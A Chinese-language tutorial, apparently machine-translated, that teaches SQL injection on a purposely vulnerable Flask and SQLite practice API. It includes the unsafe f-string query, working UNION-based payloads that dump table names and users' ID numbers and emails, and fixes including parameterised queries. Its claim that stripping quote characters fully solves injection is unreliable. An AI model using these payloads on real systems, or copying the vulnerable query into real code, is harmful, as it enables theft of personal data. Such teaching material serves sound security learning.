SQL 注入攻击如何与示例一起工作 💉🔓

你有没有想过什么是 SQL 注入攻击或者它是如何工作的？它是如何发生的，它是如何被发现的，它是否会影响大公司？

好吧，我将通过与您分享易受 SQL 注入攻击的 Flask API 来开始本次提交，以便您自己了解攻击是如何工作的，漏洞隐藏在何处，最后，我们将一起探索漏洞。

当然，情况也不例外，我将分享一个真实案例，我在 IBM 系统中发现了一个漏洞，该漏洞允许我访问超过 25.000 个社会安全号码、电话、电子邮件，甚至 IBM Cloud 代金券.

如果您不熟悉 Python，请不要担心，我会让您轻松、简单和愉快。

此提交将分为 4 个标签：实用、探索、预防，最后是IBM，因此您可以决定如何阅读它。

🏔 设置

一如既往，让我们专注于问题，然后是探索漏洞，最后是解决它。

我想邀请您参加：

使用gitpod.io进行简单和无意识的设置（它是免费的，只需要一个 GitHub 帐户），或者
克隆存储库，并在您的机器上本地运行它

在 GitPod 上运行

只需点击下面的按钮，你就应该准备好了👇

注意：以下示例中提到的所有端点都使用，localhost因为 gitpod 为每个用户生成一个随机地址。

所以，如果你的是: https://my-random-subdomain.gitpod.io/，你可以推断每次我展示的时候http://localhost:5000/whatever你都应该使用: https://my-random-subdomain.gitpod.io/whatever。

在本地运行

如果你喜欢老派的东西，我不会评判你👇

克隆它，安装依赖项，然后运行 Flask API：

git clone https://github.com/guilatrova/flask-sqlinjection-vulnerable.git
cd flask-sqlinjection-vulnerable

# Recommended (Create virtualenv)
python3 -m virtualenv .venv
source .venv/bin/activate

# Install deps
pip install -r requirements.txt

# Start the server
python src/main.py

🪀 玩 API

很好，现在你应该有一条温馨的信息说“嗨”和一个花哨的链接。

点击链接，您将被重定向到该链接，该链接将向/challenges/111.111.111-11您显示一个包含随机值的列表：

1. Challenge A: scored 8
2. Challenge B: scored 4
3. Challenge C: scored 10
4. Challenge D: scored 10
5. Challenge E: scored 8

哦，你注意到漂亮的用户界面了吗？我知道，我知道，我的用户体验技能非常出色，有一天我可能会卖掉一门课程。

我在看什么？

Rightttt…我需要解释它背后的复杂业务规则。

我们正在创建一个受 IBM 真实案例启发的系统（整个故事我将在最后详细介绍）：

用户可以通过提供他们的 id 来查询他们的提交并检查他们的成绩（在巴西，我们将其命名为 CPF，类似于美国的社会安全号码）

就如此容易。不需要身份验证，只要您有 ID（甚至来自您的朋友），您就可以查询以查看进度。您无法修改或查看其他任何内容。

端点也很简单：http://localhost:5000/challenges/111.111.111-11. 你可以想象，用任何其他类似的东西替换最终的 id222.222.222-22就足够了

这个 API 是如何工作的？

我们使用 Flask 作为 API，使用 SQLite 作为数据库。对于我们的目标（探索 SQL 注入漏洞），越简单越好。即使它是 SQLite，同样的概念和想法也适用于更强大的东西，比如 Postgres 或 MySQL。

我将引导您查看一些特定文件，但仅限于相关文件：

main.py 是我们的入口点，它设置一些初始数据（因此您不必这样做）并运行 Flask API：

from db_commands import start_database
from flask_app import app

if __name__ == "__main__":
    start_database()
    app.run()

db_commands.py 负责创建表，结果将是：

默认情况下，它还插入 3 个具有随机分配数量的用户。在“国家计划框架”是111.111.111-11，222.222.222-22和333.333.333-33。

db.py 是我们的数据层负责查询数据库，注意（为了这个练习）我们没有使用任何 ORM：

DB_FILENAME = os.path.realpath("data/test.db")  # 👈 Where the SQLite database file will be generated


def _get_connection() -> sqlite3.Connection:
    ...

@contextlib.contextmanager
def connection_context():
    ...

def get_challenges_for_candidate(cpf: str) -> List[Any]:  # 👈 Returns the list of challenges submitted
    query = f"""
        SELECT title, score FROM challenges c
        JOIN users u
        ON u.id = c.user_id
        WHERE u.cpf='{cpf}';
    """
    ...

    with connection_context() as cur:
        cur.execute(query)
        results = cur.fetchall()

        return results

最后，所有端点都保存在flask_app.py.

如果您访问了第一个 URL ( http://localhost:5000/challenges/111.111.111-11) 并且它有效，那么我们就可以开始了！

🧠 程序员的脑子里

让我们试着深入程序员的头脑以了解他的目标，最后稍微玩一下 API。

我的意思是，这很简单，对吧？

让我们尝试检查所有可用用户的成绩：

对于每个挑战，您应该会看到具有不同分数的不同列表。这是预期的。

从功能的角度来看，这个项目已经完成并有效。

🤡 在用户的脑海里

用户是有创造力的，他们有能力挫败任何开发人员。

好吧，那是我们大放异彩的时候了，我们现在要扮演用户。 让我们搞砸这个系统。

让我们从插入一个根本不存在的 id 开始，访问：

http://localhost:5000/challenges/anything

可悲的是它有效…… 😤 让我们不要放弃。

如果我们在其中插入一些 💉 SQL，你认为会发生什么？让我们试试这个，如果它还没有意义，请不要担心：

因此，请继续访问以下 URL：

http://localhost:5000/challenges/’ 或 ‘1’ = ‘1

🤯它有效，但为什么呢？如何？

是的，它奏效了，但请注意它返回了多少挑战。我向你保证，这比它应该的要多得多。实际上，它是 table 中的所有行。

如果您打开终端并检查：

--------------------------------------------------
Passing input: ' or '1' = '1
--------------------------------------------------
Executing query:
        SELECT title, score FROM challenges c
        JOIN users u
        ON u.id = c.user_id
        WHERE u.cpf='' or '1' = '1';

--------------------------------------------------
127.0.0.1 - - [30/Sep/2021 07:47:34] "GET /challenges/'%20or%20'1'%20=%20'1 HTTP/1.1" 200 -

程序员犯了一个错误，他从来没有意识到有人可以并且会插入 SQL 语句而不是 ID！

正如您可能已经想到的那样，诀窍是WHERE从句：

WHERE u.cpf='' or '1' = '1'

我们创建了一个始终true为每一行返回的条件，因此数据库返回该表中可用的所有内容。

只需考虑：

对于每一行，数据库比较：

公积金是""（空）吗？它总是错误的，考虑到该列是必需的且不可为空，
1 = 1 吗？听起来可能很愚蠢……它总是正确的，并且结合该or子句数据库返回每一行作为结果！

为什么这个 SQL 被执行了？

我们先来分析一下“流量”。一切都从我们的视图开始，接收用户输入：

@app.route("/challenges/<cpf>")  # 👈 We create a route expecting a param
def get_challenges(cpf: str):   # 👈 Receive the param as an arg
    ...
    challenges = get_challenges_for_candidate(cpf)  # 👈 Pass it straight away to data layer
    ...

然后我们的数据层如何构建查询：

def get_challenges_for_candidate(cpf: str) -> List[Any]:  # 👈 Receive the input
    query = f"""
        SELECT title, score FROM challenges c
        JOIN users u
        ON u.id = c.user_id
        WHERE u.cpf='{cpf}';  -- 👈 We just append the raw input here
    """

这就是问题所在，开发人员没有清理输入，他信任其用户（可怜的家伙）。

通过插入我们神奇的未完成 SQL：' or '1' = '1我们匹配并“完成”他的子句。

🧭 探索 SQL 注入

鉴于现在我们发现 API 容易受到 SQL 注入的攻击，让我们分析我们可以做的所有查询来探索它。

⏸️暂停给小费

我们即将运行更复杂（更长）的查询。虽然不是必需的，但使用一些更好的客户端工具可能会有所帮助，我直接从我的 VSCode使用ThunderClient，如果你决定在gitpod.io上关注我，你应该有这个开箱即用的扩展：

随意选择：使用它，保留浏览器，甚至使用 Postman – 任何适合您的方法！

🔐 没那么危险，你只能访问公共数据

你是对的。让我们解决这个问题？

如您所见，我们只是修改了where子句以包含更多行…让我们修改客户端正在使用的表🔥。

先试试这个，然后我们讨论它的作用：

' or '1' = '2' UNION SELECT name FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%

现在我要去访问：http://localhost:5000/challenges/' AND '1' = '2' UNION SELECT name FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%25。（“%25”是文字“%”（百分比））

伙计，我们刚刚破坏了 API！任何用户都不应该有能力使服务器崩溃。

但是，我们仍然没有收到任何数据，让我们做一些小的修改，调整您的 URL 以使用它：

' AND '1' = '2' UNION SELECT 'table_name', name FROM sqlite_master WHERE type = 'table' AND name NOT LIKE 'sqlite_%

哪个男士这个网址： http://localhost:5000/challenges/' AND '1' = '2' UNION SELECT 'table_name', name FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%25

你会收到这样的信息：

1. table_name: scored challenges
2. table_name: scored users

请注意，我们能够替换挑战和分数数据。有效！查看控制台有助于理解原因：

Executing query:
    SELECT title, score FROM challenges c
    JOIN users u
    ON u.id = c.user_id
    WHERE u.cpf='' AND '1' = '2' UNION SELECT 'table_name', name FROM sqlite_master WHERE type = 'table' AND name NOT LIKE 'sqlite_%';

让我们分解一下：

WHERE u.cpf='' AND '1' = '2' 是一个不可能的查询，所以它返回 0 行
- 注意我们'1' = '2'这里不需要条件，但你永远不知道数据库里有什么，所以我更愿意把它排除在外
UNION 允许我们将另一个查询组合到最终结果中
SELECT 'table_name', name FROM sqlite_master WHERE type = 'table' AND name NOT LIKE 'sqlite_%'
- 我不得不添加一个静态'table_name'以确保服务器不会崩溃，因为它期望返回 2 列
- 此查询返回数据库中存在的所有表的列表！（所以我们知道如何进行）
- 我们只过滤相关表格结果，排除所有SQLite内部细节

现在让我来挑战你！

您是否可以从数据库中返回所有 CPF 和电子邮件？自己试试吧！

这是与之前相同的数据库结构以提供帮助：

好吧，我希望你成功了！

访问：http://localhost:5000/challenges/' AND '1' = '2' UNION SELECT cpf, email FROM users; --返回包含 CPF 和电子邮件的列表：

1. 111.111.111-11: scored any@email.com
2. 222.222.222-22: scored another@email.com
3. 333.333.333-33: scored yetanother@email.com

您可以继续调整列和 SQL 语句，但希望您明白：该漏洞非常严重，会造成巨大破坏。

🛡️ 如何防止 SQL 注入

到目前为止，您应该已经了解此类攻击是如何发生的，以及不良行为者如何探索它，但是，如何防止它呢？

第一个最明显的答案是使用 ORM（SQLModel、SQLAlchemy或Django），但这太容易了。

让我们考虑一个场景（如 IBM）您不能使用 ORM，因为您只是从另一个数据库查询数据（而不是创建它）。

🧻 清理用户输入

我们只需要清除'（我也建议删除--, %, ;, @）来解决我们的问题，这很容易解决！！！

一起来做，去flask_app.py，做如下：

def sanitize_input(raw: str) -> str:
    CLEAR = ""
    return raw.replace("'", CLEAR).replace("--", CLEAR).replace(";", CLEAR)


@app.route("/desafios/<cpf>")
def get_challenges(cpf: str):
    cpf = sanitize_input(cpf)
    challenges = get_challenges_for_candidate(cpf)
    ...

继续尝试任何其他技巧。只用了 3 行，整个乐趣就结束了！

🎚 参数化用户输入

编辑：（2021/Oct/02）这个改进是我的新朋友安迪霍金斯建议的。

即使上述消毒有效，我们也可以做得更好。我们可以让数据库处理参数！毕竟，通过手动清理，我们可能会遗漏一些可能仍会导致 SQL 注入漏洞的其他字符。

这次我们正在修改db.py（随意撤消之前的更改，它们不再重要）。执行以下操作：

def get_challenges_for_candidate(cpf: str) -> List[Any]:
    query = """
        SELECT title, score FROM challenges c
        JOIN users u
        ON u.id = c.user_id
        WHERE u.cpf=?;  -- 👈 Set the expected value as a parameter
    """
    ...

    with connection_context() as cur:
        cur.execute(query, (cpf,))  # 👈 Pass the raw input as a parameter
        ...

🔧 使用安全检查器

除了输入清理之外，您还可以实现一些 linter 来提供帮助。让我们尝试安装Bandit，看看它告诉我们什么。

# Install linter
❯ pip install bandit

# Scan with bandit
❯ bandit src -r

然后我们得到一个报告，其中包含：

>> Issue: [B608:hardcoded_sql_expressions] Possible SQL injection vector through string-based query construction.
   Severity: Medium   Confidence: Low
   Location: src/db.py:37
   More Info: https://bandit.readthedocs.io/en/latest/plugins/b608_hardcoded_sql_expressions.html
36      def get_challenges_for_candidate(cpf: str) -> List[Any]:
37          query = f"""
38              SELECT title, score FROM challenges c
39              JOIN users u
40              ON u.id = c.user_id
41              WHERE u.cpf='{cpf}';
42          """